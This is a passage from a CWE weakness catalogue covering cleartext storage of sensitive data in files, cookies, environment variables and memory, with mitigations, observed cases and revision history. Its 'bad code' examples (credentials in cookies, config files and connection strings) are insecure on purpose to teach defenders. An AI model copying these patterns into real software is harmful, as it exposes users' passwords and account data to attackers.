function persistLogin($username, $password){
$data = array("username" => $username, "password"=> $password);
setcookie ("userdata", $data);
}

The code stores the user's username and password in plaintext in a cookie on the user's machine. This exposes the user's login information if their computer is compromised by an attacker. Even if the user's machine is not compromised, this weakness combined with cross-site scripting (CWE-79) could allow an attacker to remotely copy the cookie.

Also note this example code also exhibits Plaintext Storage in a Cookie (CWE-315).



Example 3


The following code attempts to establish a connection, read in a password, then store it to a buffer.

(bad code)
Example Language: C 
server.sin_family = AF_INET; hp = gethostbyname(argv[1]);
if (hp==NULL) error("Unknown host");
memcpy( (char *)&server.sin_addr,(char *)hp->h_addr,hp->h_length);
if (argc < 3) port = 80;
else port = (unsigned short)atoi(argv[3]);
server.sin_port = htons(port);
if (connect(sock, (struct sockaddr *)&server, sizeof server) < 0) error("Connecting");
...
while ((n=read(sock,buffer,BUFSIZE-1))!=-1) {

write(dfd,password_buffer,n);
...

While successful, the program does not encrypt the data before writing it to a buffer, possibly exposing it to unauthorized actors.



Example 4


The following examples show a portion of properties and configuration files for Java and ASP.NET applications. The files include username and password information but they are stored in cleartext.

This Java example shows a properties file with a cleartext username / password pair.

(bad code)
Example Language: Java 

# Java Web App ResourceBundle properties file
...
webapp.ldap.username=secretUsername
webapp.ldap.password=secretPassword
...

The following example shows a portion of a configuration file for an ASP.Net application. This configuration file includes username and password information for a connection to a database but the pair is stored in cleartext.

(bad code)
Example Language: ASP.NET 
...
<connectionStrings>
<add name="ud_DEV" connectionString="connectDB=uDB; uid=db2admin; pwd=password; dbalias=uDB;" providerName="System.Data.Odbc" />
</connectionStrings>
...

Username and password information should not be included in a configuration file or a properties file in cleartext as this will allow anyone who can read the file access to the resource. If possible, encrypt this information.



Example 5


In 2022, the OT:ICEFALL study examined products by 10 different Operational Technology (OT) vendors. The researchers reported 56 vulnerabilities and said that the products were "insecure by design" [REF-1283]. If exploited, these vulnerabilities often allowed adversaries to change how the products operated, ranging from denial of service to changing the code that the products executed. Since these products were often used in industries such as power, electrical, water, and others, there could even be safety implications.

At least one OT product stored a password in plaintext.



Example 6


In 2021, a web site operated by PeopleGIS stored data of US municipalities in Amazon Web Service (AWS) Simple Storage Service (S3) buckets.

(bad code)
Example Language: Other 
A security researcher found 86 S3 buckets that could be accessed without authentication (CWE-306) and stored data unencrypted (CWE-312). These buckets exposed over 1000 GB of data and 1.6 million files including physical addresses, phone numbers, tax documents, pictures of driver's license IDs, etc. [REF-1296] [REF-1295]

While it was not publicly disclosed how the data was protected after discovery, multiple options could have been considered.

(good code)
Example Language: Other 
The sensitive information could have been protected by ensuring that the buckets did not have public read access, e.g., by enabling the s3-account-level-public-access-blocks-periodic rule to Block Public Access. In addition, the data could have been encrypted at rest using the appropriate S3 settings, e.g., by enabling server-side encryption using the s3-bucket-server-side-encryption-enabled setting. Other settings are available to further prevent bucket data from being leaked. [REF-1297]


Example 7


Consider the following PowerShell command examples for encryption scopes of Azure storage objects. In the first example, an encryption scope is set for the storage account.

(bad code)
Example Language: Shell 
New-AzStorageEncryptionScope -ResourceGroupName "MyResourceGroup" -AccountName "MyStorageAccount" -EncryptionScopeName testscope -StorageEncryption

The result (edited and formatted for readability) might be:

(bad code)
Example Language: Other 
ResourceGroupName: MyResourceGroup, StorageAccountName: MyStorageAccount

Name State Source RequireInfrastructureEncryption
testscope Enabled Microsoft.Storage

However, the empty string under RequireInfrastructureEncryption indicates this service was not enabled at the time of creation, because the -RequireInfrastructureEncryption argument was not specified in the command.

Including the -RequireInfrastructureEncryption argument addresses the issue:

(good code)
Example Language: Shell 
New-AzStorageEncryptionScope -ResourceGroupName "MyResourceGroup" -AccountName "MyStorageAccount" -EncryptionScopeName testscope -StorageEncryption -RequireInfrastructureEncryption

This produces the report:

(result)
Example Language: Other 
ResourceGroupName: MyResourceGroup, StorageAccountName: MyStorageAccount

Name State Source RequireInfrastructureEncryption
testscope Enabled Microsoft.Keyvault True

In a scenario where both software and hardware layer encryption is required ("double encryption"), Azure's infrastructure encryption setting can be enabled via the CLI or Portal. An important note is that infrastructure hardware encryption cannot be enabled or disabled after a blob is created. Furthermore, the default value for infrastructure encryption is disabled in blob creations.



+ Selected Observed Examples

Note: this is a curated list of examples for users to understand the variety of ways in which this weakness can be introduced. It is not a complete list of all CVEs that are related to this CWE entry.

Reference Description
wireless battery product stores credentials and Personal Health Information (PHI) without encryption
Remote Terminal Unit (RTU) uses a driver that relies on a password stored in plaintext.
password and username stored in cleartext in a cookie
password stored in cleartext in a file with insecure permissions
chat program disables SSL in some circumstances even when the user says to use SSL.
Chain: product uses an incorrect public exponent when generating an RSA key, which effectively disables the encryption
storage of unencrypted passwords in a database
storage of unencrypted passwords in a database
product stores a password in cleartext in memory
storage of a secret key in cleartext in a temporary file
SCADA product uses HTTP Basic Authentication, which is not encrypted
login credentials stored unencrypted in a registry key
Plaintext credentials in world-readable file.
Password in cleartext in config file.
Password in cleartext in config file.
Decrypted copy of a message written to disk given a combination of options and when user replies to an encrypted message.
Plaintext storage of private key and passphrase in log file when user imports the key.
Admin password in plaintext in a cookie.
Default configuration has cleartext usernames/passwords in cookie.
Usernames/passwords in cleartext in cookies.
Authentication information stored in cleartext in a cookie.
+ Weakness Ordinalities
Ordinality Description
Primary
(where the weakness exists independent of other weaknesses)
+ Detection Methods
Method Details

Automated Static Analysis
Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
Nature Type ID Name
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 816 OWASP Top Ten 2010 Category A7 - Insecure Cryptographic Storage
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 884 CWE Cross-section
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 934 OWASP Top Ten 2013 Category A6 - Sensitive Data Exposure
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 963 SFP Secondary Cluster: Exposed Data
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1029 OWASP Top Ten 2017 Category A3 - Sensitive Data Exposure
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1348 OWASP Top Ten 2021 Category A04:2021 - Insecure Design
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1366 ICS Communications: Frail Security in Protocols
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1368 ICS Dependencies (& Architecture): External Digital Systems
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1402 Comprehensive Categorization: Encryption
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1441 OWASP Top Ten 2025 Category A06:2025 - Insecure Design
+ Vulnerability Mapping Notes
Usage ALLOWED
(this CWE ID may be used to map to real-world vulnerabilities)
Reason Acceptable-Use

Rationale

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Terminology

Different people use "cleartext" and "plaintext" to mean the same thing: the lack of encryption. However, within cryptography, these have more precise meanings. Plaintext is the information just before it is fed into a cryptographic algorithm, including already-encrypted text. Cleartext is any information that is unencrypted, although it might be in an encoded form that is not easily human-readable (such as base64 encoding).

Other

When organizations adopt cloud services, it can be easier for attackers to access the data from anywhere on the Internet.
+ Taxonomy Mappings
Mapped Taxonomy Name Node ID Fit Mapped Node Name
PLOVER Plaintext Storage of Sensitive Information
Software Fault Patterns SFP23 Exposed Data
ISA/IEC 62443 Part 4-2 Req CR 4.1 a)
ISA/IEC 62443 Part 3-3 Req SR 4.1
+ References
[REF-7] Michael Howard and David LeBlanc. "Writing Secure Code". Chapter 9, "Protecting Secret Data" Page 299. 2nd Edition. Microsoft Press. 2002-12-04.
<https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223>.
[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 2, "Common Vulnerabilities of Encryption", Page 43. 1st Edition. Addison Wesley. 2006.
[REF-172] Chris Wysopal. "Mobile App Top 10 List". 2010-12-13.
<https://www.veracode.com/blog/2010/12/mobile-app-top-10-list>. (URL validated: 2023-04-07)
[REF-1283] Forescout Vedere Labs. "OT:ICEFALL: The legacy of "insecure by design" and its implications for certifications and risk management". 2022-06-20.
<https://www.forescout.com/resources/ot-icefall-report/>.
[REF-1295] WizCase. "Over 80 US Municipalities' Sensitive Information, Including Resident's Personal Data, Left Vulnerable in Massive Data Breach". 2021-07-20.
<https://www.wizcase.com/blog/us-municipality-breach-report/>.
[REF-1296] Jonathan Greig. "1,000 GB of local government data exposed by Massachusetts software company". 2021-07-22.
<https://www.zdnet.com/article/1000-gb-of-local-government-data-exposed-by-massachusetts-software-company/>.
[REF-1297] Amazon. "AWS Foundational Security Best Practices controls". 2022.
<https://docs.aws.amazon.com/securityhub/latest/userguide/securityhub-controls-reference.html>. (URL validated: 2023-04-07)
[REF-1299] Microsoft. "Azure encryption overview". 2022-08-18.
<https://learn.microsoft.com/en-us/azure/security/fundamentals/encryption-overview>. (URL validated: 2022-10-11)
[REF-1301] Google Cloud. "Default encryption at rest". 2022-10-11.
<https://cloud.google.com/docs/security/encryption/default-encryption>. (URL validated: 2022-10-11)
[REF-1307] Center for Internet Security. "CIS Microsoft Azure Foundations Benchmark version 1.5.0". Section 3.2. 2022-08-16.
<https://www.cisecurity.org/benchmark/azure>. (URL validated: 2023-01-19)
[REF-1310] Microsoft. "Enable infrastructure encryption for double encryption of data". 2022-07-14.
<https://learn.microsoft.com/en-us/azure/storage/common/infrastructure-encryption-enable>. (URL validated: 2023-01-24)
+ Content History
+ Submissions
Submission Date Submitter Organization
2006-07-19
(CWE Draft 3, 2006-07-19) 		PLOVER
+ Contributions
Contribution Date Contributor Organization
2023-04-25 "Mapping CWE to 62443" Sub-Working Group CWE-CAPEC ICS/OT SIG
Suggested mappings to ISA/IEC 62443.
+ Modifications
Modification Date Modifier Organization
2025-12-11
(CWE 4.19, 2025-12-11) 		CWE Content Team MITRE
updated Observed_Examples, Relationships, Weakness_Ordinalities
2025-04-03
(CWE 4.17, 2025-04-03) 		CWE Content Team MITRE
updated Common_Consequences, Description, Diagram, Other_Notes, Potential_Mitigations
2024-02-29
(CWE 4.14, 2024-02-29) 		CWE Content Team MITRE
updated Taxonomy_Mappings
2023-06-29 CWE Content Team MITRE
updated Mapping_Notes, Relationships
2023-04-27 CWE Content Team MITRE
updated Detection_Factors, References, Relationships, Taxonomy_Mappings
2023-01-31 CWE Content Team MITRE
updated Applicable_Platforms, Demonstrative_Examples, Description, References, Relationships
2022-10-13 CWE Content Team MITRE
updated Applicable_Platforms, Demonstrative_Examples, Description, Observed_Examples, Potential_Mitigations, References
2021-10-28 CWE Content Team MITRE
updated Relationships
2021-03-15 CWE Content Team MITRE
updated Demonstrative_Examples
2020-02-24 CWE Content Team MITRE
updated Applicable_Platforms, Relationships
2019-06-20 CWE Content Team MITRE
updated Relationships, Type
2018-03-27 CWE Content Team MITRE
updated References, Relationships, Type
2018-01-23 CWE Content Team MITRE
updated Abstraction, Relationships
2017-11-08 CWE Content Team MITRE
updated Modes_of_Introduction, References, Relationships
2017-05-03 CWE Content Team MITRE
updated Related_Attack_Patterns
2014-07-30 CWE Content Team MITRE
updated Demonstrative_Examples, Relationships, Taxonomy_Mappings
2013-07-17 CWE Content Team MITRE
updated Description, Relationships, Terminology_Notes
2013-02-21 CWE Content Team MITRE
updated Applicable_Platforms, References
2012-05-11 CWE Content Team MITRE
updated Common_Consequences, Demonstrative_Examples, Observed_Examples, References, Related_Attack_Patterns, Relationships
2011-06-01 CWE Content Team MITRE
updated Common_Consequences
2010-06-21 CWE Content Team MITRE
updated Relationships
2010-02-16 CWE Content Team MITRE
updated References
2009-01-12 CWE Content Team MITRE
updated Description, Name
2008-09-08 CWE Content Team MITRE
updated Relationships, Taxonomy_Mappings
2008-07-01 Eric Dalci Cigital
updated Time_of_Introduction
+ Previous Entry Names
Change Date Previous Entry Name
2009-01-12 Plaintext Storage of Sensitive Information
Back to top

CWE-315: Cleartext Storage of Sensitive Information in a Cookie

Weakness ID: 315
Vulnerability Mapping: ALLOWED This CWE ID may be used to map to real-world vulnerabilities
Abstraction: Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product stores sensitive information in cleartext in a cookie.
+ Extended Description
Attackers can use widely-available tools to view the cookie and read the sensitive information. Even if the information is encoded in a way that is not human-readable, certain techniques could determine which encoding is being used, then decode the information.
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
Impact Details

Read Application Data

Scope: Confidentiality

+ Relationships
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (View-1000)
Nature Type ID Name
ChildOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 312 Cleartext Storage of Sensitive Information
+ Relevant to the view "Architectural Concepts" (View-1008)
Nature Type ID Name
MemberOf Category Category - a CWE entry that contains a set of other entries that share a common characteristic. 1013 Encrypt Data
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
Phase Note
Architecture and Design OMISSION: This weakness is caused by missing a security tactic during the architecture and design phase.
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.
Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Demonstrative Examples

Example 1


The following code excerpt stores a plaintext user account ID in a browser cookie.

(bad code)
Example Language: Java 
response.addCookie( new Cookie("userAccountID", acctID) );

Because the account ID is in plaintext, the user's account information is exposed if their computer is compromised by an attacker.



+ Selected Observed Examples

Note: this is a curated list of examples for users to understand the variety of ways in which this weakness can be introduced. It is not a complete list of all CVEs that are related to this CWE entry.

Reference Description
Admin password in cleartext in a cookie.
Default configuration has cleartext usernames/passwords in cookie.
Usernames/passwords in cleartext in cookies.
Authentication information stored in cleartext in a cookie.
+ Weakness Ordinalities
Ordinality Description
Primary
(where the weakness exists independent of other weaknesses)
+ Detection Methods
Method Details

Automated Static Analysis
Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
Nature Type ID Name
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 963 SFP Secondary Cluster: Exposed Data
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1349 OWASP Top Ten 2021 Category A05:2021 - Security Misconfiguration
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1402 Comprehensive Categorization: Encryption
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1437 OWASP Top Ten 2025 Category A02:2025 - Security Misconfiguration
+ Vulnerability Mapping Notes
Usage ALLOWED
(this CWE ID may be used to map to real-world vulnerabilities)
Reason Acceptable-Use

Rationale

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Terminology

Different people use "cleartext" and "plaintext" to mean the same thing: the lack of encryption. However, within cryptography, these have more precise meanings. Plaintext is the information just before it is fed into a cryptographic algorithm, including already-encrypted text. Cleartext is any information that is unencrypted, although it might be in an encoded form that is not easily human-readable (such as base64 encoding).
+ Taxonomy Mappings
Mapped Taxonomy Name Node ID Fit Mapped Node Name
PLOVER Plaintext Storage in Cookie
Software Fault Patterns SFP23 Exposed Data
+ Content History
+ Submissions
Submission Date Submitter Organization
2006-07-19
(CWE Draft 3, 2006-07-19) 		PLOVER
+ Contributions
Contribution Date Contributor Organization
2024-10-28
(CWE 4.17, 2025-04-03) 		Camille Gouttebroze CAST Software
reported a syntax error in demox 1
+ Modifications
Modification Date Modifier Organization
2025-12-11
(CWE 4.19, 2025-12-11) 		CWE Content Team MITRE
updated Relationships, Weakness_Ordinalities
2023-06-29 CWE Content Team MITRE
updated Mapping_Notes
2023-04-27 CWE Content Team MITRE
updated Detection_Factors, Relationships
2023-01-31 CWE Content Team MITRE
updated Description
2021-10-28 CWE Content Team MITRE
updated Relationships
2020-02-24 CWE Content Team MITRE
updated Relationships
2017-11-08 CWE Content Team MITRE
updated Modes_of_Introduction, Relationships
2014-07-30 CWE Content Team MITRE
updated Demonstrative_Examples, Relationships, Taxonomy_Mappings
2013-07-17 CWE Content Team MITRE
updated Applicable_Platforms, Demonstrative_Examples, Description, Name, Observed_Examples, Potential_Mitigations, Terminology_Notes
2012-05-11 CWE Content Team MITRE
updated Demonstrative_Examples, Relationships
2011-06-01 CWE Content Team MITRE
updated Common_Consequences
2008-09-08 CWE Content Team MITRE
updated Relationships, Taxonomy_Mappings
2008-07-01 Eric Dalci Cigital
updated Time_of_Introduction
2008-07-01 Sean Eidemiller Cigital
added/updated demonstrative examples
+ Previous Entry Names
Change Date Previous Entry Name
2008-04-11 Plaintext Storage in Cookie
2013-07-17 Plaintext Storage in a Cookie
Back to top

CWE-526: Cleartext Storage of Sensitive Information in an Environment Variable

Weakness ID: 526
Vulnerability Mapping: ALLOWED This CWE ID may be used to map to real-world vulnerabilities
Abstraction: Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product uses an environment variable to store unencrypted sensitive information.
+ Extended Description
Information stored in an environment variable can be accessible by other processes with the execution context, including child processes that dependencies are executed in, or serverless functions in cloud environments. An environment variable's contents can also be inserted into messages, headers, log files, or other outputs. Often these other dependencies have no need to use the environment variable in question. A weakness that discloses environment variables could expose this information.
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
Impact Details

Read Application Data

Scope: Confidentiality

+ Potential Mitigations
Phase(s) Mitigation

Architecture and Design
Encrypt information stored in the environment variable to protect it from being exposed to an unauthorized user. If encryption is not feasible or is considered too expensive for the business use of the application, then consider using a properly protected configuration file instead of an environment variable. It should be understood that unencrypted information in a config file is also not guaranteed to be protected, but it is still a better choice, because it reduces attack surface related to weaknesses such as CWE-214. In some settings, vaults might be a feasible option for safer data transfer. Users should be notified of the business choice made to not protect the sensitive information through encryption.

Implementation
If the environment variable is not necessary for the desired behavior, then remove it entirely, or clear it to an empty value.
+ Relationships
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (View-1000)
Nature Type ID Name
ChildOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 312 Cleartext Storage of Sensitive Information
PeerOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 214 Invocation of Process Using Visible Sensitive Information
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
Phase Note
Architecture and Design
Implementation
Operation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.
Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Selected Observed Examples

Note: this is a curated list of examples for users to understand the variety of ways in which this weakness can be introduced. It is not a complete list of all CVEs that are related to this CWE entry.

Reference Description
CMS shows sensitive server-side information from environment variables when run in Debug mode.
Plugin for an automation server inserts environment variable contents into build XML files.
CI/CD tool logs environment variables related to passwords add Contribution to content history.
+ Weakness Ordinalities
Ordinality Description
Primary
(where the weakness exists independent of other weaknesses)
+ Detection Methods
Method Details

Automated Static Analysis
Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
Nature Type ID Name
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 731 OWASP Top Ten 2004 Category A10 - Insecure Configuration Management
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 963 SFP Secondary Cluster: Exposed Data
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1349 OWASP Top Ten 2021 Category A05:2021 - Security Misconfiguration
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1417 Comprehensive Categorization: Sensitive Information Exposure
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1437 OWASP Top Ten 2025 Category A02:2025 - Security Misconfiguration
+ Vulnerability Mapping Notes
Usage ALLOWED
(this CWE ID may be used to map to real-world vulnerabilities)
Reason Acceptable-Use

Rationale

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy Name Node ID Fit Mapped Node Name
Software Fault Patterns SFP23 Exposed Data
+ References
[REF-1318] David Fiser, Alfredo Oliveira. "Analyzing the Hidden Danger of Environment Variables for Keeping Secrets". 2022-08-17.
<https://www.trendmicro.com/en_us/research/22/h/analyzing-hidden-danger-of-environment-variables-for-keeping-secrets.html>. (URL validated: 2023-01-26)
[REF-1319] Nicolas Harraudeau. "Using environment variables is security-sensitive". 2021-04-28.
<https://sonarsource.atlassian.net/browse/RSPEC-5304>. (URL validated: 2023-01-26)
+ Content History
+ Submissions
Submission Date Submitter Organization
2006-07-19
(CWE Draft 3, 2006-07-19) 		CWE Community
Submitted by members of the CWE community to extend early CWE versions
+ Contributions
Contribution Date Contributor Organization
2023-01-11 Drew Buttner MITRE
Suggested improvements to name, description, relationships, and mitigations
+ Modifications
Modification Date Modifier Organization
2025-12-11
(CWE 4.19, 2025-12-11) 		CWE Content Team MITRE
updated Applicable_Platforms, Relationships, Weakness_Ordinalities
2023-06-29 CWE Content Team MITRE
updated Mapping_Notes
2023-04-27 CWE Content Team MITRE
updated Detection_Factors, Relationships
2023-01-31 CWE Content Team MITRE
updated Description, Name, Observed_Examples, Potential_Mitigations, References, Relationships
2021-10-28 CWE Content Team MITRE
updated Relationships
2020-02-24 CWE Content Team MITRE
updated Name, Relationships
2014-07-30 CWE Content Team MITRE
updated Relationships, Taxonomy_Mappings
2012-10-30 CWE Content Team MITRE
updated Potential_Mitigations
2012-05-11 CWE Content Team MITRE
updated Relationships, Taxonomy_Mappings
2011-06-01 CWE Content Team MITRE
updated Common_Consequences, Relationships, Taxonomy_Mappings
2011-03-29 CWE Content Team MITRE
updated Name
2009-03-10 CWE Content Team MITRE
updated Relationships
2008-09-08 CWE Content Team MITRE
updated Relationships
2008-07-01 Eric Dalci Cigital
updated Potential_Mitigations, Time_of_Introduction
+ Previous Entry Names
Change Date Previous Entry Name
2011-03-29 Information Leak Through Environmental Variables
2020-02-24 Information Exposure Through Environmental Variables
2023-01-31 Exposure of Sensitive Information Through Environmental Variables
Back to top

CWE-316: Cleartext Storage of Sensitive Information in Memory

Weakness ID: 316
Vulnerability Mapping: ALLOWED This CWE ID may be used to map to real-world vulnerabilities
Abstraction: Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product stores sensitive information in cleartext in memory.
+ Extended Description

The sensitive memory might be saved to disk, stored in a core dump, or remain uncleared if the product crashes, or if the programmer does not properly clear the memory before freeing it.

It could be argued that such problems are usually only exploitable by those with administrator privileges. However, swapping could cause the memory to be written to disk and leave it accessible to physical attack afterwards. Core dump files might have insecure permissions or be stored in archive files that are accessible to untrusted people. Or, uncleared sensitive memory might be inadvertently exposed to attackers due to another weakness.

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
Impact Details

Read Memory

Scope: Confidentiality

+ Relationships
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (View-1000)
Nature Type ID Name
ChildOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 312 Cleartext Storage of Sensitive Information
+ Relevant to the view "Architectural Concepts" (View-1008)
Nature Type ID Name
MemberOf Category Category - a CWE entry that contains a set of other entries that share a common characteristic. 1013 Encrypt Data
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
Phase Note
Architecture and Design OMISSION: This weakness is caused by missing a security tactic during the architecture and design phase.
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.
Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Selected Observed Examples

